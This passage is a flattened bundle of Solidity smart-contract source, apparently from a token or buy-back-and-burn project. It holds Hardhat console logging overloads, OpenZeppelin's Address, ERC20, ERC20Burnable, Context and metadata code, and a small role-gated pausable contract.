log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.4; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import './IRouter.sol'; interface IBuyBackAndBurn { function depositERC20(IERC20 token, uint256 amount) external; function depositNativeToken(uint256 amount) external payable; //function iRouter() external returns (IRouter); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC20.sol"; import "../../../utils/Context.sol"; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); unchecked { _approve(account, _msgSender(), currentAllowance - amount); } _burn(account, amount); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.4; import '@openzeppelin/contracts/access/AccessControl.sol'; import '@openzeppelin/contracts/security/Pausable.sol'; /** * @title MyPausable * This contracts introduces pausability and access control to all smart contracts that inherit from it */ abstract contract MyPausable is AccessControl, Pausable { bytes32 public constant PAUSABILITY_ADMIN_ROLE = keccak256('PAUSABILITY_ADMIN_ROLE'); constructor() { // set up admin roles _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(PAUSABILITY_ADMIN_ROLE, _msgSender()); } /** * @notice Pauses all contract functions that have the "whenNotPaused" modifier * * @dev can only be called by PAUSABILITY_ADMIN_ROLE */ function pause() external whenNotPaused { require( hasRole(PAUSABILITY_ADMIN_ROLE, _msgSender()), 'MyPausable: must have PAUSABILITY_ADMIN_ROLE to execute this function' ); Pausable._pause(); } /** * @notice Un-pauses/resumes all contract functions that have the "whenNotPaused" modifier * * @dev can only be called by PAUSABILITY_ADMIN_ROLE */ function unpause() external whenPaused { require( hasRole(PAUSABILITY_ADMIN_ROLE, _msgSender()), 'MyPausable: must have PAUSABILITY_ADMIN_ROLE to execute this function' ); Pausable._unpause(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControl.sol"; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The 